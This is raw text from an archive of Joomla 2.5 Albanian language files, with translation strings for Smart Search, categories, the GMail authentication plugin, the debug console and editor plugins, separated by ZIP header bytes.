COM_FINDER_FILTER_END_DATE_DESCRIPTION="Format YYYY-MM-DD" COM_FINDER_FILTER_FIELDSET_DETAILS="Filter Details" COM_FINDER_FILTER_FIELDSET_PARAMS="Filter Timeline" COM_FINDER_FILTER_MAP_COUNT="Map Count" COM_FINDER_FILTER_MAP_COUNT_DESCRIPTION="The number of maps included in the filter." COM_FINDER_FILTER_SEARCH_DESCRIPTION="Filter the list by a title." COM_FINDER_FILTER_SELECT_ALL_LABEL="Search All" COM_FINDER_FILTER_START_DATE_LABEL="Start Date" COM_FINDER_FILTER_START_DATE_DESCRIPTION="Format YYYY-MM-DD" COM_FINDER_FILTER_TIMESTAMP="Created On" COM_FINDER_FILTER_TITLE_DESCRIPTION="The title of the filter." COM_FINDER_FILTER_WHEN_AFTER="After" COM_FINDER_FILTER_WHEN_BEFORE="Before" COM_FINDER_FILTER_WHEN_END_DATE_LABEL="When (End Date)" COM_FINDER_FILTER_WHEN_END_DATE_DESCRIPTION="When to search relative to the end date (before, after or exactly)" COM_FINDER_FILTER_WHEN_EXACTLY="Exactly" COM_FINDER_FILTER_WHEN_START_DATE_LABEL="When (Start Date)" COM_FINDER_FILTER_WHEN_START_DATE_DESCRIPTION="When to search relative to the start date (before, after or exactly)" COM_FINDER_FILTERS="Filtrat" COM_FINDER_FILTERS_DELETE_CONFIRMATION="Are you sure you want to delete the selected filters(s)?" COM_FINDER_FILTERS_TOOLBAR_TITLE="Smart Search: Manage Search Filters" COM_FINDER_GO="Shko" COM_FINDER_IMPORT="Import" COM_FINDER_INDEX="Indeksi" COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT="Are you sure you want to delete the selected item(s)?" COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT="Are you sure you want to delete ALL items from the index? This can take a long time on large sites." COM_FINDER_INDEX_DATE_INFO="Link Date Information::Published Start: %s
      Published End: %s
      Content Start: %s
      Content End: %s" COM_FINDER_INDEX_FILTER_BY_STATE="Any Published State" COM_FINDER_INDEX_HEADING_INDEX_DATE="Last Updated" COM_FINDER_INDEX_HEADING_INDEX_TYPE="Lloji" COM_FINDER_INDEX_HEADING_LINK_URL="Raw URL" COM_FINDER_INDEX_NO_CONTENT="No content matches your search criteria." COM_FINDER_INDEX_NO_DATA="No content has been indexed." COM_FINDER_INDEX_PLUGIN_CONTENT_NOT_ENABLED="Smart Search content plug-in is not enabled. Changes to content will not update the Smart Search index if you do not enable this plug-in." COM_FINDER_INDEX_PURGE_SUCCESS="All items have been successfully purged." COM_FINDER_INDEX_TIP="Start the indexer by pressing the Index button in the toolbar." COM_FINDER_INDEX_TOOLBAR_PURGE="Purge" COM_FINDER_INDEX_TOOLBAR_TITLE="Smart Search: Manage Indexed Content" COM_FINDER_INDEX_TYPE_FILTER="Any Type of Content" COM_FINDER_INDEXER_HEADER_COMPLETE="Indexing Complete" COM_FINDER_INDEXER_HEADER_ERROR="An Error Has Occurred" COM_FINDER_INDEXER_HEADER_INIT="Starting Indexer" COM_FINDER_INDEXER_HEADER_OPTIMIZE="Optimizing Index" COM_FINDER_INDEXER_HEADER_RUNNING="Indexer Running" COM_FINDER_INDEXER_INVALID_PARSER="Invalid parser type %s" COM_FINDER_INDEXER_INVALID_STEMMER="Invalid stemmer type %s" COM_FINDER_INDEXER_MESSAGE_COMPLETE="The indexing process is complete. It is now safe to close this window." COM_FINDER_INDEXER_MESSAGE_INIT="The indexer is being initialized. Do not close this window." COM_FINDER_INDEXER_MESSAGE_OPTIMIZE="The index tables are being optimized for the best possible performance. Do not close this window." COM_FINDER_INDEXER_MESSAGE_RUNNING="Your content is being indexed. Do not close this window." COM_FINDER_ITEM_X_ONLY="%s Only" COM_FINDER_ITEMS="Përmbajtja" COM_FINDER_MAP_PUBLISH_FAILED="The selected map(s) could not be published. The returned error message is: %s." COM_FINDER_MAP_PUBLISH_SUCCESS="The selected map(s) were successfully published." COM_FINDER_MAP_UNPUBLISH_FAILED="The selected map(s) could not be unpublished. The returned error message is: %s." COM_FINDER_MAP_UNPUBLISH_SUCCESS="The selected map(s) were successfully unpublished." COM_FINDER_MAPS="Maps" COM_FINDER_MAPS_BRANCH_LINK="Click to show the children in this branch." COM_FINDER_MAPS_BRANCHES="Branches Only" COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT="Are you sure you want to delete the selected maps(s)?" COM_FINDER_MAPS_MULTILANG="Note: Language filter system plug-in has been enabled, so this branch will not be used." COM_FINDER_MAPS_NO_CONTENT="No results to display. Either no content has been indexed or no content meets your filter criteria." COM_FINDER_MAPS_RETURN_TO_BRANCHES="Return to Branches" COM_FINDER_MAPS_TOOLBAR_TITLE="Smart Search: Manage Content Maps" COM_FINDER_MESSAGE_RETURNED="The following message was returned by the server:" COM_FINDER_N_ITEMS_CHECKED_IN_0="No item successfully checked in" COM_FINDER_N_ITEMS_CHECKED_IN_1="%d item successfully checked in" COM_FINDER_N_ITEMS_CHECKED_IN_MORE="%d items successfully checked in" COM_FINDER_N_ITEMS_DELETED="%d items successfully deleted" COM_FINDER_N_ITEMS_DELETED_1="%d item successfully deleted" COM_FINDER_N_ITEMS_PUBLISHED="%d items successfully published" COM_FINDER_N_ITEMS_PUBLISHED_1="%d item successfully published" COM_FINDER_N_ITEMS_TRASHED="%d items successfully trashed" COM_FINDER_N_ITEMS_TRASHED_1="%d item successfully trashed" COM_FINDER_N_ITEMS_UNPUBLISHED="%d items successfully unpublished" COM_FINDER_N_ITEMS_UNPUBLISHED_1="%d item successfully unpublished" COM_FINDER_NO_ERROR_RETURNED="No error was returned. Make sure error reporting is enabled." COM_FINDER_NO_FILTERS="No filters have been created yet." COM_FINDER_NO_RESULTS="No results match your search criteria." COM_FINDER_QUERY_FILTER_TODAY="sot" COM_FINDER_QUERY_OPERATOR_AND="And" COM_FINDER_QUERY_OPERATOR_NOT="Not" COM_FINDER_QUERY_OPERATOR_OR="ose" COM_FINDER_SEARCH_LABEL="Search %s:" COM_FINDER_STATISTICS="Statistikat" COM_FINDER_STATISTICS_LINK_TYPE_COUNT="Count" COM_FINDER_STATISTICS_LINK_TYPE_HEADING="Link Type" COM_FINDER_STATISTICS_LINK_TYPE_TOTAL="Total" COM_FINDER_STATISTICS_STATS_DESCRIPTION="The indexed content on this site includes %s terms across %s links with %s attributes in %s branches." COM_FINDER_STATISTICS_TITLE="Smart Search Statistics" COM_FINDER_SUBMENU_FILTERS="Search Filters" COM_FINDER_SUBMENU_INDEX="Indexed Content" COM_FINDER_SUBMENU_MAPS="Content Maps" COM_FINDER_UPDATER_MESSAGE_COMPLETE="Smart Search is up to date." COM_FINDER_UPDATER_MESSAGE_OPTIMIZE="Smart Search is optimizing." COM_FINDER_UPDATER_MESSAGE_PROCESS="Smart Search is updating." COM_FINDER_XML_DESCRIPTION="Smart Search." PK@y>\댷0language/sq-AL/sq-AL.plg_editors-xtd_article.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_ARTICLE_BUTTON_ARTICLE="Artikulli" PLG_ARTICLE_XML_DESCRIPTION="Tregon nji boton me mundësue futjen e nyjeve t'artikujve në nji artikull. Nxjerr nji dritare të vogël me ju lejue me zgjedhë artikullin" PLG_EDITORS-XTD_ARTICLE="Buton - Artikulli" PK@y>\M&(language/sq-AL/sq-AL.com_wrapper.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WRAPPER="Mbshtjellësi" COM_WRAPPER_XML_DESCRIPTION="Tregon nji IFrame që mbshtjell nji faqe t'jashtme në Joomla!" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_DESC="Displays a URL in an Iframe" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_OPTION="Normalja" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_TITLE="Iframe Wrapper" PK@y>\E1language/sq-AL/sq-AL.plg_authentication_gmail.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_GMAIL="Authentication - GMail" PLG_GMAIL_FIELD_APPLYSUFFIX_DESC="Options for applying the suffix: Don't apply the suffix, only apply the suffix if missing (any user supplied suffix will be used) or always apply the suffix replacing any user supplied suffix" PLG_GMAIL_FIELD_APPLYSUFFIX_LABEL="Apply Username Suffix" PLG_GMAIL_FIELD_SUFFIX_DESC="A suffix to use for the username, typically gmail.com (or googlemail.com) is the suffix but you may wish to use a Google Apps for Your Domain suffix. This doesn't include the @ symbol, if left blank username suffix will be ignored." PLG_GMAIL_FIELD_SUFFIX_LABEL="Username Suffix" PLG_GMAIL_FIELD_USER_BLACKLIST_DESC="A list of usernames not permitted to log in via the GMail plugin. The user names should be separated by a comma." PLG_GMAIL_FIELD_USER_BLACKLIST_LABEL="User Blacklist" PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXALWAYS="Always use suffix" PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXMISSING="Apply suffix if missing" PLG_GMAIL_FIELD_VALUE_NOAPPLYSUFFIX="Don't Apply Suffix" PLG_GMAIL_FIELD_VERIFYPEER_DESC="Verify the peer connection using a CA certificate. In some situations authentication will fail due to certificate issues, disabling this should resolve the situation in that case." PLG_GMAIL_FIELD_VERIFYPEER_LABEL="Verify Peer" PLG_GMAIL_XML_DESCRIPTION="Handles User Authentication with a GMail or Googlemail account (Requires cURL)
      Warning! You must have at least one authentication plugin enabled or you will lose all access to your site."PK@y>\t#language/sq-AL/sq-AL.mod_status.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_STATUS="Gjendja e përdoruesit" MOD_STATUS_BACKEND_USERS="%s Admins" MOD_STATUS_BACKEND_USERS_1="%s Admin" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_ADMIN_DESC="Show the number of users logged-in to the backend control panel" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_ADMIN_LABEL="Show logged-in backend users" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_DESC="Show the number of users logged-in for both frontend site and backend control panel" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_LABEL="Show logged-in users" MOD_STATUS_FIELD_SHOW_MESSAGES_DESC="Show the messages count for the current user's inbox" MOD_STATUS_FIELD_SHOW_MESSAGES_LABEL="Show messages" MOD_STATUS_LOG_OUT="Log out" MOD_STATUS_MESSAGES="%d" MOD_STATUS_MESSAGES_0="%d" MOD_STATUS_MESSAGES_1="%d" MOD_STATUS_USERS="%s Visitors" MOD_STATUS_USERS_0="%s Visitors" MOD_STATUS_USERS_1="%s Visitor" MOD_STATUS_XML_DESCRIPTION="This module shows the status of the logged-in users."PK@y>\?Ѱ )language/sq-AL/sq-AL.plg_system_debug.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_DEBUG_ERRORS="Errors" PLG_DEBUG_FIELD_ALLOWED_GROUPS_DESC="Optionally restrict users that can see debug information to those in the selected user groups. If none selected, all users see the debug information." PLG_DEBUG_FIELD_ALLOWED_GROUPS_LABEL="Allowed Groups" PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_DESC="Display a list of the language files that are in error according to the Joomla ini specification." PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_LABEL="Show errors when parsing language files" PLG_DEBUG_FIELD_LANGUAGE_FILES_DESC="Display a list of the language files that Joomla has tried to load." PLG_DEBUG_FIELD_LANGUAGE_FILES_LABEL="Show Language Files" PLG_DEBUG_FIELD_LANGUAGE_STRING_DESC="Display a list of the untranslated language strings." PLG_DEBUG_FIELD_LANGUAGE_STRING_LABEL="Show Language String" PLG_DEBUG_FIELD_LOG_DEPRECATED_DESC="If enabled, API marked as deprecated will be logged. Only use this setting for short periods of time for refactoring purposes." PLG_DEBUG_FIELD_LOG_DEPRECATED_LABEL="Log deprecated API" PLG_DEBUG_FIELD_MEMORY_DESC="Display the total memory usage." PLG_DEBUG_FIELD_MEMORY_LABEL="Show Memory Usage" PLG_DEBUG_FIELD_PROFILING_DESC="Display the profiling waypoints." PLG_DEBUG_FIELD_PROFILING_LABEL="Show Profiling" PLG_DEBUG_FIELD_QUERIES_DESC="Display a list the queries executed while displaying the page." PLG_DEBUG_FIELD_QUERIES_LABEL="Show Queries" PLG_DEBUG_FIELD_QUERY_TYPES_DESC="Display a list of unique query types and their number of occurrences for the current page. Useful for finding out about repeated queries that are either redundant or which can be grouped into a single, more efficient query." PLG_DEBUG_FIELD_QUERY_TYPES_LABEL="Show Query Types" PLG_DEBUG_FIELD_STRIP_FIRST_DESC="In multi-word strings, always strip the first word." PLG_DEBUG_FIELD_STRIP_FIRST_LABEL="Strip First Word" PLG_DEBUG_FIELD_STRIP_PREFIX_DESC="Strip words from the beginning of the string. For multiple words, use the format: (word1|word2)" PLG_DEBUG_FIELD_STRIP_PREFIX_LABEL="Strip From Start" PLG_DEBUG_FIELD_STRIP_SUFFIX_DESC="Strip words from the end of the string. For multiple words, use the format: (word1|word2)" PLG_DEBUG_FIELD_STRIP_SUFFIX_LABEL="Strip From End" PLG_DEBUG_LANG_LOADED="Loaded" PLG_DEBUG_LANG_NOT_LOADED="Not loaded" PLG_DEBUG_LANGUAGE_FIELDSET_LABEL="Language Options" PLG_DEBUG_LANGUAGE_FILES_IN_ERROR="Parsing errors in language files" PLG_DEBUG_LANGUAGE_FILES_LOADED="Dokumentat e gjuhës tërheqë" PLG_DEBUG_LOGGING_FIELDSET_LABEL="Logging" PLG_DEBUG_MEMORY_USAGE="Përdorimi i kujtesës" PLG_DEBUG_OTHER_QUERIES="OTHER Tables:" PLG_DEBUG_PROFILE_INFORMATION="Informacion profili" PLG_DEBUG_QUERIES="Database Queries" PLG_DEBUG_QUERIES_LOGGED="%d Queries Logged" PLG_DEBUG_QUERY_TYPES_LOGGED="%d Query Types Logged, Sorted by Occurrences." PLG_DEBUG_QUERY_TYPE_AND_OCCURRENCES="%2$d × %1$s" PLG_DEBUG_SELECT_QUERIES="SELECT Tables:" PLG_DEBUG_SESSION="Session" PLG_DEBUG_TITLE="Joomla! Debug Console" PLG_DEBUG_UNKNOWN_FILE="Unknown file" PLG_DEBUG_UNTRANSLATED_STRINGS="Rreshtat e papërkthyem" PLG_DEBUG_XML_DESCRIPTION="This plugin provides a variety of system information as well as assistance for the creation of translation files." PLG_SYSTEM_DEBUG="System - Debug" PK@y>\j4language/sq-AL/sq-AL.plg_system_languagecode.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGECODE="System - Language Code" PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Provides ability to change the language code in the generated HTML document to improve SEO" PK@y>\+vv/language/sq-AL/sq-AL.plg_editors_codemirror.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CODEMIRROR_FIELD_LINENUMBERS_DESC="Display line numbers" PLG_CODEMIRROR_FIELD_LINENUMBERS_LABEL="Line numbers" PLG_CODEMIRROR_FIELD_TABMODE_DESC="Indent - causes tab to adjust the indentation of the selection or current line using the parser's rules . Shift - Pressing tab indents the current line (or selection) one indent Unit deeper, pressing shift-tab, un-indents it." PLG_CODEMIRROR_FIELD_TABMODE_LABEL="Tab mode" PLG_CODEMIRROR_FIELD_VALUE_TABMODE_INDENT="Indent" PLG_CODEMIRROR_FIELD_VALUE_TABMODE_SHIFT="Shift" PLG_CODEMIRROR_XML_DESCRIPTION="This plugin loads the CodeMirror editor." PLG_EDITORS_CODEMIRROR="Editor - CodeMirror"PK@y>\rpp'language/sq-AL/sq-AL.com_categories.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 CATEGORIES_FIELDSET_OPTIONS="Opsionet" COM_CATEGORIES="Kategoritë" COM_CATEGORIES_ACCESS_CREATE_DESC="T'dhanat e reja për veprime krijimi në këte kategori dhe t'dhanat e llogarituna mbështetë në lejet e kategorisë dhe grupit prind." COM_CATEGORIES_ACCESS_DELETE_DESC="T'dhanat për veprime fshimjeje në këte kategori dhe t'dhanat e llogarituna mbështetë në lejet e kategorisë dhe grupit prind." COM_CATEGORIES_ACCESS_EDIT_DESC="T'dhanat e reja për veprime ndryshimi në këte kategori dhe t'dhanat e llogarituna mbështetë në në lejet e kategorisë dhe grupit prind." COM_CATEGORIES_ACCESS_EDITOWN_DESC="T'dhanat e reja për ndryshim të veprimeve të veta në këte kategori dhe t'dhanat e llogarituna mbështetë në lejet e kategorisë dhe grupit prind." COM_CATEGORIES_ACCESS_EDITSTATE_DESC="T'dhanat e reja për veprimet e ndryshimit të gjendjes në këte kategori dhe t'dhanat e llogarituna mbështetë në lejet e kategorisë dhe grupit prind." COM_CATEGORIES_BASIC_FIELDSET_LABEL="Opsionet themelore" COM_CATEGORIES_BATCH_CANNOT_CREATE="S'të lejohet me krijue kategori të reja në këte kategori." COM_CATEGORIES_BATCH_CANNOT_EDIT="S'të lejohet me ndryshue nji a ma shum nga këto kategori." COM_CATEGORIES_BATCH_CATEGORY_LABEL="Zgjidh kategorinë për Zhvendos/Kopjo" COM_CATEGORIES_BATCH_OPTIONS="Proceso masivisht kategoritë e përzgjedhuna" COM_CATEGORIES_BATCH_TIP="Nëse zgjedh me kopjue nji kategori, çdo veprim tjetër ka me u zbatue mbi kategorinë e kopjueme. Përndryshe, gjithë veprimet zbatohen mbi kategorinë e përzgjedhun." COM_CATEGORIES_CATEGORIES_BASE_TITLE="Kategoritë" COM_CATEGORIES_CATEGORIES_TITLE="Menaxheri i kategorive: %s" COM_CATEGORIES_CATEGORY_ADD_TITLE="Menaxheri i kategorive: Shto nji kategori %s të re" COM_CATEGORIES_CATEGORY_BASE_ADD_TITLE="Menaxheri i kategorive: Shto kategori" COM_CATEGORIES_CATEGORY_BASE_EDIT_TITLE="Menaxheri i kategorive: Ndrysho kategorinë" COM_CATEGORIES_CATEGORY_EDIT_TITLE="Menaxheri i kategorive: Ndrysho nji %s kategori" COM_CATEGORIES_CATEGORY_OPTIONS="Opsionet e kategorive" COM_CATEGORIES_DELETE_NOT_ALLOWED="S'lejohet fshimja për kategorinë %s. " COM_CATEGORIES_DESCRIPTION_DESC="Fut nji përshkrim opsional kategorie në fushën e tekstit." COM_CATEGORIES_FIELD_IMAGE_DESC="Zgjidh nji pamje për këte kategori" COM_CATEGORIES_FIELD_IMAGE_LABEL="Pamja" COM_CATEGORIES_FIELD_LANGUAGE_DESC="Caktoja nji gjuhë kësaj kategorie." COM_CATEGORIES_FIELD_PARENT_DESC="Zgjidh nji kategori prind" COM_CATEGORIES_FIELD_PARENT_LABEL="Prindi" COM_CATEGORIES_FIELDSET_DETAILS="Hollësinat" COM_CATEGORIES_FIELDSET_RULES="Lejet e kategorisë" COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS="%d sende i janë caktue nënkategorive të kësaj kategorie." COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS_1="%d sendi i asht caktue nji nënkategorie të kësaj kategorie." COM_CATEGORIES_ITEMS_SEARCH_FILTER="Kërko" COM_CATEGORIES_N_ITEMS_ARCHIVED="%d kategori u arkivuen me sukses" COM_CATEGORIES_N_ITEMS_ARCHIVED_1="%d kategoria u arkivue me sukses" COM_CATEGORIES_N_ITEMS_ASSIGNED="%d sende i janë caktue kësaj kategorie." COM_CATEGORIES_N_ITEMS_ASSIGNED_1="%d sendi i asht caktue kësaj kategorie." COM_CATEGORIES_N_ITEMS_CHECKED_IN_0="Nuk u regjistrue asnji kategori" COM_CATEGORIES_N_ITEMS_CHECKED_IN_1="%d kategoria u regjistrue me sukses" COM_CATEGORIES_N_ITEMS_CHECKED_IN_MORE="%d kategori u regjistruen me sukses" COM_CATEGORIES_N_ITEMS_DELETED="%d kategori u fshinë me sukses" COM_CATEGORIES_N_ITEMS_DELETED_1="%d kategoria u fshi me sukses" COM_CATEGORIES_N_ITEMS_PUBLISHED="%d kategori u botuen" COM_CATEGORIES_N_ITEMS_PUBLISHED_1="%d kategoria u botue" COM_CATEGORIES_N_ITEMS_TRASHED="%d kategori u fshinë" COM_CATEGORIES_N_ITEMS_TRASHED_1="%d kategoria u fshi" COM_CATEGORIES_N_ITEMS_UNPUBLISHED="%d kategori u hoqën nga botimi" COM_CATEGORIES_N_ITEMS_UNPUBLISHED_1="%d kategoria u hoq nga botimi" COM_CATEGORIES_REBUILD_FAILURE="Dështoi rindërtimi i pemës së të dhanave të kategorive." COM_CATEGORIES_REBUILD_SUCCESS="Pema e t'dhanave të kategorive u ndërtue me sukses." COM_CATEGORIES_SAVE_SUCCESS="Kategoria u ruejt" COM_CATEGORIES_XML_DESCRIPTION="Ky komponent menaxhon kategoritë" JGLOBAL_NO_ITEM_SELECTED="S'u përzgjodh ndonji kategori" JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="S'mund të ndryshohet gjendja e botueme kur kategoria prind asht e nji niveli ma t'ulët." JLIB_HTML_ACCESS_SUMMARY_DESC="Ma poshtë asht nji përmbledhje e t'dhanave të lejeve për këte kategori. Shtyp tabet sipër me i ndryshue këto të dhana." JLIB_RULES_SETTING_NOTES_ITEM="1. Nëse ndrron të dhanat, kjo ka me u zbatue këtu dhe në gjithë kategoritë fëmi. Ven re që:
      Trashëgue do me thanë që do të përdoren lejet nga kategoria prind ose ato nga komponenti nëse nuk ka kategori prind.
      Mohue domethanë që pavarësisht të dhanave të kategorisë prind, grupi që po ndryshohet s'mund ta ndërmarrë këte veprim brenda kësaj kategorie.
      Lejue don me thanë që grupi që po ndryshohet ka me qenë në gjendje me e ndërmarrë këte veprim brenda kësaj kategorie (por nëse kjo asht në konflikt me t'dhanat e kategorisë prind apo të komponentit, nuk ka me pasë ndikim; konflikti ka me u tregue nga S'lejohet (Kyçë) tek t'Dhanat e llogarituna).
      2. Nëse zgjedh të dhana të reja, shtyp Ruej me rifreskue të dhanat e llogarituna." PK@y>\y"uJJlanguage/sq-AL/sq-AL.xmlnuW+A Albanian-Albania 2.5.1.5 2012-02-17 Blendi Kraja blendi@blendikraja.info Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt sq-AL gjuha administrative për Joomla 2.5 Albanian-Albania sq-AL 0 en_GB.utf8, en_GB.UTF-8, en_GB, eng_GB, en, english, english-uk, uk, gbr, britain, england, great britain, uk, united kingdom, united-kingdom 0 PK@y>\YشWW1language/sq-AL/sq-AL.plg_editors-xtd_readmore.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_READMORE="Buton - Lexo ma" PLG_READMORE_ALREADY_EXISTS="Asht futë nji nyje Lexo ma... . Lejohet vetëm nji nyje e tillë. Përdor {pagebreak} me e nda faqen ma tej." PLG_READMORE_BUTTON_READMORE="Lexo ma" PLG_READMORE_XML_DESCRIPTION="Aktivizon nji buton që ta mundëson me futë lehtësisht nyjen Lexo ma... në nji artikull." PK@y>\bR R 'language/sq-AL/sq-AL.com_finder.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_FINDER="Smart Search" COM_FINDER_XML_DESCRIPTION="Smart Search" COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TEXT="The default search layout." COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TITLE="Kërko" COM_FINDER_SEARCH_FILTER_SEARCH_LABEL="Search Filter" COM_FINDER_SEARCH_FILTER_SEARCH_DESC="Selecting a Search Filter will limit any searches submitted to use the selected filter." COM_FINDER_SEARCH_SEARCH_QUERY_LABEL="Search Query" COM_FINDER_SEARCH_SEARCH_QUERY_DESC="Entering search terms will make this menu item automatically return the results for the predefined terms." COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL="Description Length" COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESC="Description text for search results will be truncated to the specified character length." COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL="Expand Advanced Search" COM_FINDER_CONFIG_EXPAND_ADVANCED_DESC="Toggle whether the advanced search options should be expanded by default." COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL="Advanced Search" COM_FINDER_CONFIG_SHOW_ADVANCED_DESC="Toggle whether users should be able to see advanced search options." COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL="Result Description" COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESC="Toggle whether the description should be displayed with search results." COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL="Date Filters" COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESC="Show the start and end date filters in the advanced search." COM_FINDER_CONFIG_SHOW_URL_LABEL="Result URL" COM_FINDER_CONFIG_SHOW_URL_DESC="Show the associated URL that for the item." COM_FINDER_CONFIG_SHOW_FEED_LABEL="Show Feed" COM_FINDER_CONFIG_SHOW_FEED_DESC="Show the syndication feed link" COM_FINDER_CONFIG_SHOW_FEED_TEXT_LABEL="Show Feed Text" COM_FINDER_CONFIG_SHOW_FEED_TEXT_DESC="Show the associated text with the feed, otherwise just the title is shown in the feed." COM_FINDER_SELECT_SEARCH_FILTER="Select filter" COM_FINDER_ALLOW_EMPTY_QUERY_LABEL="Allow Empty Search" COM_FINDER_ALLOW_EMPTY_QUERY_DESC="Only if a filter is selected, allow an empty search string to initiate a search within the filter constraints." COM_FINDER_CONFIG_SORT_DIRECTION_DESC="The direction in which to sort the search results." COM_FINDER_CONFIG_SORT_DIRECTION_LABEL="Sort Direction" COM_FINDER_CONFIG_SORT_ORDER_DESC="The field on which to sort the search results." COM_FINDER_CONFIG_SORT_ORDER_LABEL="Sort Field" COM_FINDER_CONFIG_SORT_OPTION_ASCENDING="Ascending" COM_FINDER_CONFIG_SORT_OPTION_DESCENDING="Descending" COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE="List price" COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE="Relevance" COM_FINDER_CONFIG_SORT_OPTION_START_DATE="Data" PK@y>\/}}2language/sq-AL/sq-AL.plg_search_categories.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CATEGORIES="Kërko - Kategoritë" PLG_SEARCH_CATEGORIES_XML_DESCRIPTION="Mundëson kërkimin e informacioneve të kategorive" PK@y>\il__'language/sq-AL/sq-AL.tpl_hathor.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM HATHOR="Hathor Administrator template" TPL_HATHOR_POSITION_CP_SHELL="Unused" TPL_HATHOR_POSITION_CPANEL="Paneli i kontrollit" TPL_HATHOR_POSITION_DEBUG="debug" TPL_HATHOR_POSITION_FOOTER="Kamca" TPL_HATHOR_POSITION_ICON="Ikonat e shpejta" TPL_HATHOR_POSITION_LOGIN="Hymje" TPL_HATHOR_POSITION_MENU="Menuja" TPL_HATHOR_POSITION_STATUS="Statusi" TPL_HATHOR_POSITION_SUBMENU="Submenu" TPL_HATHOR_POSITION_TITLE="Titulli" TPL_HATHOR_POSITION_TOOLBAR="Shiriti" TPL_HATHOR_XML_DESCRIPTION="Hathor is an accessible administrator template for Joomla!. The Colour CSS files can also be used for custom colour branding."PK@y>\%,language/sq-AL/sq-AL.plg_system_redirect.ininuW+A; Joomla1 sq-AL ; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REDIRECT_XML_DESCRIPTION="The system redirect plug-in enables the Joomla Redirect system to catch missing pages and redirect users." PLG_SYSTEM_REDIRECT="System - Redirect" PK@y>\ˡ0language/sq-AL/sq-AL.plg_editors_tinymce.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_TINYMCE="Editor - TinyMCE" 